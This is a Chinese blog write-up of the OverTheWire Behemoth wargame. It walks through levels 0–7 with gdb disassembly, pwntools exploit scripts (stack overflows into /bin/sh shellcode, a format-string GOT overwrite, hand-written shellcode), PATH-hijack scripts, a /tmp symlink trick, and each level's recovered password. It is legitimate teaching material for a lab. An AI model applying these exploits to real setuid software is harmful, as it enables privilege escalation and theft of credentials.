OverTheWire-Behemoth


前言

本篇文章为OverTheWire网站Behemoth关卡的学习记录。


Level 0 -> Level 1

Username: behemoth0
Password: behemoth0
ssh behemoth0@behemoth.labs.overthewire.org 2221

  • behemoth0执行文件下载到自己搭建的虚拟机上进行调试分析。
  • 通过gdb调试,反汇编分析发现输入相应的password字符串,就可以得到密码。
pwndbg> disassemble main
Dump of assembler code for function main:
...
   0x08048619 <+104>:   lea    eax,[ebp-0x1c]
   0x0804861c <+107>:   push   eax
   0x0804861d <+108>:   lea    eax,[ebp-0x5d]
   0x08048620 <+111>:   push   eax
   0x08048621 <+112>:   call   0x80483f0 <strcmp@plt>
   0x08048626 <+117>:   add    esp,0x8
...
End of assembler dump.
pwndbg> b *0x08048621
Breakpoint 1 at 0x8048621
pwndbg> r
...
─────────[ DISASM ]────────────────────────────────────
 ► 0x8048621 <main+112>    call   strcmp@plt                     <strcmp@plt>
        s1: 0xffffd1eb ◂— 0x636261 /* 'abc' */
        s2: 0xffffd22c ◂— 'eatmyshorts'
  • 登录服务器执行程序。
behemoth0@behemoth:/behemoth$ ./behemoth0
Password: eatmyshorts
Access granted..
$ cat /etc/behemoth_pass/behemoth1
aesebootiv

Level 1 -> Level 2

Username: behemoth1
Password: aesebootiv
ssh behemoth1@behemoth.labs.overthewire.org 2221

  • gdb调试发现gets函数,存在缓冲区溢出。
  • 由ebp-0x43,知道ret的地址在0x43+4处。
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804844b <+0>:     push   ebp
   0x0804844c <+1>:     mov    ebp,esp
   0x0804844e <+3>:     sub    esp,0x44
   0x08048451 <+6>:     push   0x8048500
   0x08048456 <+11>:    call   0x8048300 <printf@plt>
   0x0804845b <+16>:    add    esp,0x4
   0x0804845e <+19>:    lea    eax,[ebp-0x43]
   0x08048461 <+22>:    push   eax
   0x08048462 <+23>:    call   0x8048310 <gets@plt>
   0x08048467 <+28>:    add    esp,0x4
   0x0804846a <+31>:    push   0x804850c
   0x0804846f <+36>:    call   0x8048320 <puts@plt>
   0x08048474 <+41>:    add    esp,0x4
   0x08048477 <+44>:    mov    eax,0x0
   0x0804847c <+49>:    leave  
   0x0804847d <+50>:    ret    
End of assembler dump.
  • 在gets函数处下断,获取eax的值,从而计算出返回地址。
# -*- coding: utf-8 -*-
from pwn import *

# print("A"*71+"B"*4)

shellcode = shellcraft.i386.sh()
# print(len(asm(shellcode)))

# ret_addr = 0xffffd1f5 + 71 + 100
ret_addr = 0xffffd655+ 71 + 100 #eax
payload = b"\x90" * 71
payload += p32(ret_addr)
payload += b"\x90" * 128
payload += asm(shellcode) # len 22

sys.stdout.buffer.write(payload) # > test.txt

# print(payload)
# (cat test ;cat) | ./behemoth1
  • 将test.txt上传至服务器上执行,得到shell。
behemoth1@behemoth:/behemoth$ (cat /tmp/mytest1/behemoth1.txt ;cat) | ./behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
eimahquuof

Level 2 -> Level 3

Username: behemoth2
Password: eimahquuof
ssh behemoth2@behemoth.labs.overthewire.org 2221

  • gdb调试发现程序执行system(“touch %d”),可通过改变PATH环境变量,使程序实现touch脚本文件。
  • 首先,创建自己的touch脚本,内容为cat /etc/behemoth_pass/behemoth3
  • 需要更新 PATH 变量,以便它首先查看当前工作目录,以确保执行的是我们的触摸脚本而不是实际的触摸程序。
behemoth2@behemoth:/tmp/mytest2$ cat touch
cat /etc/behemoth_pass/behemoth3
behemoth2@behemoth:/tmp/mytest2$ chmod 777 touch

behemoth2@behemoth:/tmp/mytest2$ export PATH=/tmp/mytest2:$PATH
behemoth2@behemoth:/tmp/mytest2$ /behemoth/behemoth2
nieteidiel

Level 3 -> Level 4

Username: behemoth3
Password: nieteidiel
ssh behemoth3@behemoth.labs.overthewire.org 2221

  • gdb调试发现,第二个printf函数存在格式化字符串漏洞,并且之后执行puts函数打印aaaand goodbye again.。(格式化字符串漏洞利用原理参考其他资料)
  • 可通过格式化字符串漏洞修改puts_got地址的值为system的虚拟地址;
  • 并在临时目录下创建aaaanb脚本,修改PATH变量,类似上一关。从而执行aaaanb脚本输出密码。
behemoth3@behemoth:/tmp/mytest3$ cat aaaand
cat /etc/behemoth_pass/behemoth4
behemoth3@behemoth:/tmp/mytest3$ chmod 777 aaaand

behemoth3@behemoth:/tmp/mytest3$ export PATH=/tmp/mytest3:$PATH

behemoth3@behemoth:/tmp/mytest3$ /behemoth/behemoth3 < test.txt
ietheishei
  • python脚本生成格式化字符串。
# -*- coding: utf-8 -*-
from pwn import *

offset = 1
puts_got = 0x080497ac
system_addr = 0xf7e4c850 # 0xf7e08160

payload = fmtstr_payload(offset, {puts_got : system_addr})

sys.stdout.buffer.write(payload) # > test.txt

# touch aaaand
# export PATH=/.../:$PATH
# readelf -r behemoth3 -> puts_got
# gdb print system -> system_addr

Level 4 -> Level 5

Username: behemoth4
Password: ietheishei
ssh behemoth4@behemoth.labs.overthewire.org 2221

  • 通过IDA反汇编分析程序执行过程,发现程序会获取自身pid,并在/tmp目录下打开相应文件,通过fgetc函数输入内容。
  • 进程pid生成规律为最大pid+1,通过ps aux,得到最大pid。
  • 通过ln -s 软链接方式链接到密码文件,从而输出密码。
  • 也可以通过脚本不断执行程序,使之进程pid循环匹配到自己创建的链接文件,参考其他资料实现。
behemoth4@behemoth:/behemoth$ ln -s /etc/behemoth_pass/behemoth5 /tmp/29305
behemoth4@behemoth:/behemoth$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
behemot+ 28976  0.0  0.5  21208  5140 pts/31   Ss   03:00   0:00 -bash
behemot+ 29305  0.0  0.2  19196  2436 pts/31   R+   03:11   0:00 ps aux
behemoth4@behemoth:/behemoth$ ln -s /etc/behemoth_pass/behemoth5 /tmp/29307
behemoth4@behemoth:/behemoth$ ./behemoth4
Finished sleeping, fgetcing
aizeeshing

Level 5 -> Level 6

Username: behemoth5
Password: aizeeshing
ssh behemoth5@behemoth.labs.overthewire.org 2221

  • 通过IDA反汇编分析程序执行流程,可以知道程序打开behemoth6的密码文件;
  • 通过socket函数创建套接字,类型为UDP;(可通过less /usr/include/bits/socket_type.h自动数值2为类型 SOCK_DGRAM = 2,即UDP)
  • 通向本地端口1337发送密码文件的内容。
  • 通过nc命令创建监听端口,并在另一个终端执行程序,即可获得密码。可参考资料Linux nc命令
  • 提示:通过ps aux命令可发现有以前执行的命令。
(gdb)
push    0               ; protocol
push    2               ; type
push    2               ; domain
call    _socket

behemoth5@behemoth:~$ less /usr/include/bits/socket_type.h
...
#define SOCK_STREAM SOCK_STREAM
  SOCK_DGRAM = 2,               /* Connectionless, unreliable datagrams
                                   of fixed maximum length.  */

behemoth5@behemoth:/behemoth$ nc -l -u -p 1337 localhost
mayiroeche

Level 6 -> Level 7

Username: behemoth6
Password: mayiroeche
ssh behemoth6@behemoth.labs.overthewire.org 2221

  • 通过IDA及gdb分析两个程序执行流程,可知道如下信息。
  • behemoth6程序通过popen函数执行behemoth6_reader,并将得到的结果与字符串“HelloKitty”进行比较,如果相等,则执行shell;
  • behemoth6_reader程序读取shellcode.txt文件到malloc申请的内存中,并直接call执行shellcod的数据。
  • 利用思路:编写shellcode,实现printf("HelloKitty");的函数调用过程,即可得到shell。
  • 首先编写初步的汇编,注意call printf处,还需要通过gdb调试获取malloc申请的地址,以及printf的虚拟地址,之后在计算对应硬编码的偏移值。
pwndbg> info registers 
eax            0x804c2f0           134529776
ecx            0x804b010           134524944
pwndbg> print printf
$1 = {int (const char *, ...)} 0xf7e17220 <__printf>
  • 汇编代码如下。
; nasm -f elf32 sc32.asm
; ld -m elf_i386 -o sc32 sc32.o
; objdump -d sc32
section .text
global _start
_start:
push 0x00007974;"ty\x00\x00"
push 0x74694B6F;"oKit"
push 0x6C6C6548;"Hell"
mov ebx, esp
push ebx
call 0xf7e17220 ;__printf ,need to calculate offset
add esp, 0x10
ret
  • 提取生成的shellcode硬编码。
kang@kali:~/PWN/Behemoth/Behemoth6$ objdump -d sc32 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x68\x74\x79\x00\x00\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe3\x53\xe8\x09\xe2\xdc\xef\x83\xc4\x10\xc3"
  • 将shellcode硬编码写到python脚本中。
  • 注意:此时需根据malloc申请的地址,以及运行时printf的虚拟地址,计算出printf函数的偏移值。基本的公式是:目的地址(printf虚拟地址) = 当前地址(call指令处的地址) + 当前指令长度(5) + 硬编码偏移值(求)
  • 注意:malloc申请的地址与call指令地址之间还有18字节的长度,需要减去。
# -*- coding: utf-8 -*-
from pwn import *

# printf_offset = 0xf7e17220 - 0x804c302 - 5
printf_offset = 0xf7e5b7d0 - 0x804c170 - 5 - 18 

payload = b"\x68\x74\x79\x00\x00"
payload += b"\x68\x6f\x4b\x69\x74"
payload += b"\x68\x48\x65\x6c\x6c"
payload += b"\x89\xe3"
payload += b"\x53"
# payload += b"\xe8\x09\xe2\xdc\xef"
payload += b"\xe8" + p32(printf_offset)
payload += b"\x83\xc4\x10"
payload += b"\xc3"

sys.stdout.buffer.write(payload) # > shellcode.txt
  • 将生成的shellcode.txt上传至临时目录,执行即可。
behemoth6@behemoth:/tmp/mytest6$ /behemoth/behemoth6_reader
HelloKittybehemoth6@behemoth:/tmp/mytest6$ /behemoth/behemoth6
Correct.
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo

Level 7 -> Level 8

Username: behemoth7
Password: baquoxuafo
ssh behemoth7@behemoth.labs.overthewire.org 2221

  • 通过IDA和gdb分析程序执行流程,可以知道程序判断输入的前0x200个字符是否为字母,如果是,调用strcpy()函数复制数据到缓冲区中(存在缓冲区溢出);否则提示错误。
  • 这里可以输入0x200个字母字符,绕过判断,直到调用strcpy()函数。
  • ret_addr的地址值通过gdb调试x /200wx $esp得到。
  • python脚本如下。
from pwn import *
import sys

# ./behemoth7 aaaaaaaaaaaaaaaaaaaa > hex
ret_addr = 0xffffd448
# ret_addr = 0xffffd40c
shellcode = shellcraft.i386.sh()

# print(hex(blah_addr))
# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode)))

payload = b"A"*0x20C
payload += b"A"*4
payload += p32(ret_addr)
payload += b"\x90" * 200
payload += asm(shellcode)

# print(len(payload))
# print(payload)
sys.stdout.buffer.write(payload) # > test.txt

# r $(cat test.txt)
  • 将test.txt上传至服务器临时目录,执行即可。
behemoth7@behemoth:/tmp/mytest7$ /behemoth/behemoth7 $(cat test.txt)
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae

总结

  • 题目主要是简单的栈溢出、格式化字符串漏洞,以及IDA的使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值